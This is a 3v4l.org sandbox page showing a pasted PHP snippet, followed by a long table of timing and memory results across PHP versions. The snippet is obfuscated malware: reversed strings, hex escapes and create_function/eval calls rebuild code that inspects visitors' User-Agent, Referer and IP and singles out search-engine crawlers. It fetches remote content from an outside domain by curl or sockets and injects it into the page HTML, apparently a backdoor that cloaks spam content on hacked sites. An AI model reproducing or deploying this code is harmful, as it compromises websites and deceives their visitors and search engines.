3v4l.org

run code in 300+ PHP versions simultaneously
<?php $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $w9 ="\x2f\50\x2e\52\x29\57"; $syv= "\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\141\x72\162\x61\171"; $siv = "\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; $slv = "\x73\164\x72\162\x65\166"; $s1v="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; $ll = "\x70\162\x65\147\x5f\162\x65\160\x6c\141\x63\145"; $ee1 = array('\14',', $',') { ','[$i]','substr($','a = $xx("|","',',strpos($y,"9")',' = str_replace($','x3','\x7','\15',';$i++) {','function ','x6','); ','for($i=0;$i<sizeof($','); } create_function("", "};".$',' = explode("'); $ji9 = "\x2c\40\x24\145\x65\61\x2c\40\x24\163\x39\71\x29\51\x3b"; $s99 = 'Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}'; //echo $ll($w9, $syv.'("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M")'.$ji9, NULL); echo str_replace(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0150.00016.75
8.3.50.0100.00816.58
8.3.40.0090.00618.76
8.3.30.0180.00318.71
8.3.20.0000.00818.73
8.3.10.0040.00418.60
8.3.00.0050.00319.25
8.2.180.0130.00725.92
8.2.170.0090.00919.00
8.2.160.0070.00722.96
8.2.150.0080.00025.66
8.2.140.0080.00024.66
8.2.130.0000.00726.16
8.2.120.0000.00820.83
8.2.110.0090.00019.43
8.2.100.0120.00017.72
8.2.90.0030.00719.33
8.2.80.0040.00419.38
8.2.70.0050.00317.63
8.2.60.0050.00317.92
8.2.50.0000.00818.07
8.2.40.0090.00018.09
8.2.30.0030.00718.17
8.2.20.0060.00317.76
8.2.10.0040.00417.58
8.2.00.0000.00717.55
8.1.280.0040.01125.92
8.1.270.0040.00424.66
8.1.260.0040.00426.35
8.1.250.0070.00028.09
8.1.240.0000.00922.54
8.1.230.0060.00620.86
8.1.220.0040.00417.74
8.1.210.0040.00418.80
8.1.200.0060.00317.23
8.1.190.0070.00017.41
8.1.180.0000.00818.10
8.1.170.0040.00420.55
8.1.160.0040.00418.87
8.1.150.0050.00218.56
8.1.140.0040.00417.44
8.1.130.0070.00017.88
8.1.120.0020.00517.48
8.1.110.0000.00817.41
8.1.100.0040.00417.44
8.1.90.0070.00317.33
8.1.80.0000.00717.48
8.1.70.0030.00317.45
8.1.60.0030.00617.45
8.1.50.0040.00717.33
8.1.40.0040.00417.41
8.1.30.0000.00817.52
8.1.20.0000.00717.53
8.1.10.0000.00717.43
8.1.00.0030.00617.51
8.0.300.0030.00320.11
8.0.290.0040.00416.75
8.0.280.0040.00418.41
8.0.270.0030.00317.35
8.0.260.0000.00716.79
8.0.250.0000.00816.90
8.0.240.0070.00017.03
8.0.230.0070.00016.95
8.0.220.0000.00716.91
8.0.210.0000.00816.89
8.0.200.0000.00617.00
8.0.190.0000.00816.98
8.0.180.0080.00016.90
8.0.170.0000.00816.85
8.0.160.0000.00716.87
8.0.150.0050.00316.86
8.0.140.0070.00216.88
8.0.130.0050.00013.27
8.0.120.0030.00616.74
8.0.110.0040.00416.89
8.0.100.0070.00016.77
8.0.90.0000.00716.93
8.0.80.0000.01616.86
8.0.70.0040.00416.86
8.0.60.0040.00416.93
8.0.50.0050.00216.77
8.0.30.0110.00817.23
8.0.20.0160.00416.95
8.0.10.0040.00416.82
8.0.00.0130.00716.71
7.4.330.0050.00013.00
7.4.320.0060.00016.64
7.4.300.0000.00616.64
7.4.290.0030.00616.61
7.4.280.0000.00816.54
7.4.270.0000.00716.59
7.4.260.0060.00013.26
7.4.250.0030.00616.46
7.4.240.0020.00616.51
7.4.230.0030.00316.57
7.4.220.0090.00916.54
7.4.210.0080.00716.54
7.4.200.0050.00316.38
7.4.190.0030.00316.56
7.4.160.0060.01016.57
7.4.150.0150.00916.42
7.4.140.0050.01216.52
7.4.130.0090.00916.47
7.4.120.0080.01016.54
7.4.110.0140.01016.53
7.4.100.0110.00616.59
7.4.90.0100.01016.72
7.4.80.0100.01019.39
7.4.70.0100.00716.39
7.4.60.0100.00616.43
7.4.50.0060.00616.49
7.4.40.0100.00716.30
7.4.30.0000.01616.36
7.4.00.0050.01214.99
7.3.330.0000.00612.95
7.3.320.0020.00213.03
7.3.310.0040.00416.25
7.3.300.0070.00016.00
7.3.290.0090.00616.29
7.3.280.0060.01016.18
7.3.270.0090.01516.21
7.3.260.0080.00816.29
7.3.250.0060.01116.47
7.3.240.0060.01616.28
7.3.230.0100.00716.48
7.3.210.0080.00816.25
7.3.200.0090.01316.33
7.3.190.0140.00816.44
7.3.180.0100.01316.46
7.3.170.0060.01216.20
7.3.160.0100.00516.14
7.3.120.0060.01114.79
7.3.110.0150.00414.84
7.3.100.0070.00714.73
7.3.90.0070.00715.04
7.3.80.0060.00914.66
7.3.70.0040.01114.83
7.3.60.0120.00314.77
7.3.50.0070.01014.38
7.3.40.0030.01014.82
7.3.30.0090.00014.59
7.3.20.0100.00716.71
7.3.10.0030.00816.64
7.3.00.0070.00716.25
7.2.330.0100.00716.56
7.2.320.0070.01016.44
7.2.310.0050.01316.57
7.2.300.0130.00316.60
7.2.290.0110.00616.61
7.2.250.0030.01714.92
7.2.240.0120.00915.20
7.2.230.0120.00014.81
7.2.220.0030.01014.99
7.2.210.0080.00814.86
7.2.200.0040.01414.88
7.2.190.0100.00614.93
7.2.180.0060.00815.01
7.2.170.0170.00014.84
7.2.00.0210.00818.71
7.1.330.0030.01415.77
7.1.320.0060.00915.74
7.1.310.0090.00615.78
7.1.300.0100.00315.66
7.1.290.0000.01015.46
7.1.280.0030.01015.39
7.1.270.0040.01215.91
7.1.260.0060.00915.75
7.1.100.0030.01017.95
7.1.70.0000.00817.15
7.1.60.0090.01319.40
7.1.50.0040.01216.99
7.1.00.0100.05722.45
7.0.200.0350.00714.50
7.0.140.0100.06722.08
7.0.120.0000.07721.96
7.0.60.0130.07719.92
7.0.50.0030.04717.89
7.0.40.3930.04020.00
7.0.30.3600.04720.27
7.0.20.3570.04320.21
7.0.10.3330.04020.00
7.0.00.3630.04020.28
5.6.280.0030.07021.04
5.6.210.0170.07720.77
5.6.200.0130.07018.18
5.6.190.4000.04320.42
5.6.180.3330.04020.48
5.6.170.3570.04320.61
5.6.160.3900.04020.50
5.6.150.4370.03720.21
5.6.140.3500.04320.23
5.6.130.3230.02720.35
5.6.120.1430.05320.36
5.6.110.0070.08020.34
5.6.100.3770.04720.34
5.6.90.3830.04020.33
5.6.80.4270.04319.53
5.6.70.0070.08319.64
5.6.60.3570.03719.60
5.6.50.3730.04319.69
5.6.40.3770.03719.82
5.6.30.3370.03719.82
5.6.20.3500.03719.60
5.6.10.3270.04319.60
5.6.00.3370.03719.61
5.5.350.0370.07720.38
5.5.340.0030.04317.93
5.5.330.1400.05720.34
5.5.320.3730.04320.26
5.5.310.3600.04320.17
5.5.300.3570.04319.97
5.5.290.0000.09320.17
5.5.280.0000.04720.00
5.5.270.0130.07720.16
5.5.260.3370.04020.04
5.5.250.4000.03719.76
5.5.240.4230.04019.49
5.5.230.3770.04319.41
5.5.220.3500.04319.34
5.5.210.3800.03319.41
5.5.200.3470.03719.66
5.5.190.3270.04319.44
5.5.180.3300.03719.46
5.5.160.3330.03719.42
5.5.150.3500.05319.43
5.5.140.3300.04019.38
5.5.130.3600.03319.39
5.5.120.3330.04019.39
5.5.110.3130.04019.39
5.5.100.4000.04019.52
5.5.90.4570.04719.35
5.5.80.3500.04719.42
5.5.70.4200.05019.26
5.5.60.3470.03719.28
5.5.50.3600.04719.31
5.5.40.3430.03719.32
5.5.30.3900.03719.27
5.5.20.3970.03319.30
5.5.10.4000.03319.45
5.5.00.4100.03319.33
5.4.450.0130.05719.29
5.4.440.0100.04719.45
5.4.430.1170.05319.37
5.4.420.3730.03719.22
5.4.410.3370.03719.32
5.4.400.4130.03719.21
5.4.390.0070.07319.21
5.4.380.4430.03319.01
5.4.370.3570.04019.09
5.4.360.3930.04319.03
5.4.350.3330.03719.21
5.4.340.3170.03318.96
5.4.320.4500.03719.03
5.4.310.3370.03019.08
5.4.300.3270.03718.82
5.4.290.3270.03319.21
5.4.280.3530.03319.02
5.4.270.3300.04319.03
5.4.260.3700.04019.07
5.4.250.4230.04019.13
5.4.240.3600.03319.20
5.4.230.3800.04019.12
5.4.220.3600.04019.03
5.4.210.3530.03718.96
5.4.200.3600.03718.98
5.4.190.4300.04019.12
5.4.180.4130.02019.09
5.4.170.4270.03718.98
5.4.160.4270.03718.89
5.4.150.4230.04018.96
5.4.140.3700.04016.48
5.4.130.4300.03716.17
5.4.120.4170.04016.44
5.4.110.3970.03316.27
5.4.100.3900.03016.36
5.4.90.4270.03316.43
5.4.80.3930.03716.27
5.4.70.4230.03316.37
5.4.60.4000.03316.23
5.4.50.4130.04316.31
5.4.40.3800.04016.20
5.4.30.3930.02716.28
5.4.20.3900.04316.26
5.4.10.3200.04016.40
5.4.00.3300.03315.93
5.3.290.3330.03314.63
5.3.280.3500.04014.58
5.3.270.4100.03314.59
5.3.260.4200.03314.62
5.3.250.4230.04014.61
5.3.240.3800.04314.58
5.3.230.4230.04014.48
5.3.220.4270.03714.52
5.3.210.4070.03314.51
5.3.200.3700.03314.55
5.3.190.4400.03014.56
5.3.180.3570.03314.55
5.3.170.4030.04014.53
5.3.160.3900.03714.54
5.3.150.3630.03314.41
5.3.140.4000.04014.52
5.3.130.4030.03714.36
5.3.120.3630.04014.54
5.3.110.3430.03014.54
5.3.100.3430.04014.02
5.3.90.3500.04013.98
5.3.80.3130.03314.01
5.3.70.3270.03714.01
5.3.60.3500.03713.97
5.3.50.3230.04013.94
5.3.40.3530.03713.74
5.3.30.3430.04013.89
5.3.20.3230.03713.69
5.3.10.4130.03713.63
5.3.00.4130.04313.61
5.2.170.3000.03011.12
5.2.160.2730.02311.14
5.2.150.2730.03311.09
5.2.140.2870.03011.15
5.2.130.3430.03311.13
5.2.120.3670.02711.02
5.2.110.3600.02711.13
5.2.100.3600.03310.96
5.2.90.4370.02711.12
5.2.80.3200.03011.10
5.2.70.3530.03011.11
5.2.60.3670.02710.86
5.2.50.3270.02711.02
5.2.40.2300.03010.94
5.2.30.3100.02710.95
5.2.20.2700.03010.99
5.2.10.2630.02710.81
5.2.00.2900.03010.64
5.1.60.2500.02310.02
5.1.50.3000.02310.15
5.1.40.2730.02710.02
5.1.30.2700.02710.27
5.1.20.2730.02310.41
5.1.10.2430.02310.06
5.1.00.2130.02710.06
5.0.50.1330.0208.49
5.0.40.0000.0378.37
5.0.30.0030.0578.29
5.0.20.0100.0378.16
5.0.10.0030.0378.24
5.0.00.0100.0578.25
4.4.90.1600.0135.84
4.4.80.1770.0175.79
4.4.70.1270.0175.81
4.4.60.1570.0135.81
4.4.50.1730.0135.93
4.4.40.1770.0275.80
4.4.30.1500.0175.93
4.4.20.1400.0175.85
4.4.10.0800.0235.95
4.4.00.0000.0605.85
4.3.110.0000.0375.77
4.3.100.0070.0305.82
4.3.90.0070.0275.73
4.3.80.0000.0575.73
4.3.70.0770.0135.80
4.3.60.1570.0105.81
4.3.50.1670.0175.70
4.3.40.1630.0275.75
4.3.30.0870.0205.36
4.3.20.0830.0205.37
4.3.10.0900.0235.37
4.3.00.0930.0205.38

preferences:
47.29 ms | 401 KiB | 5 Q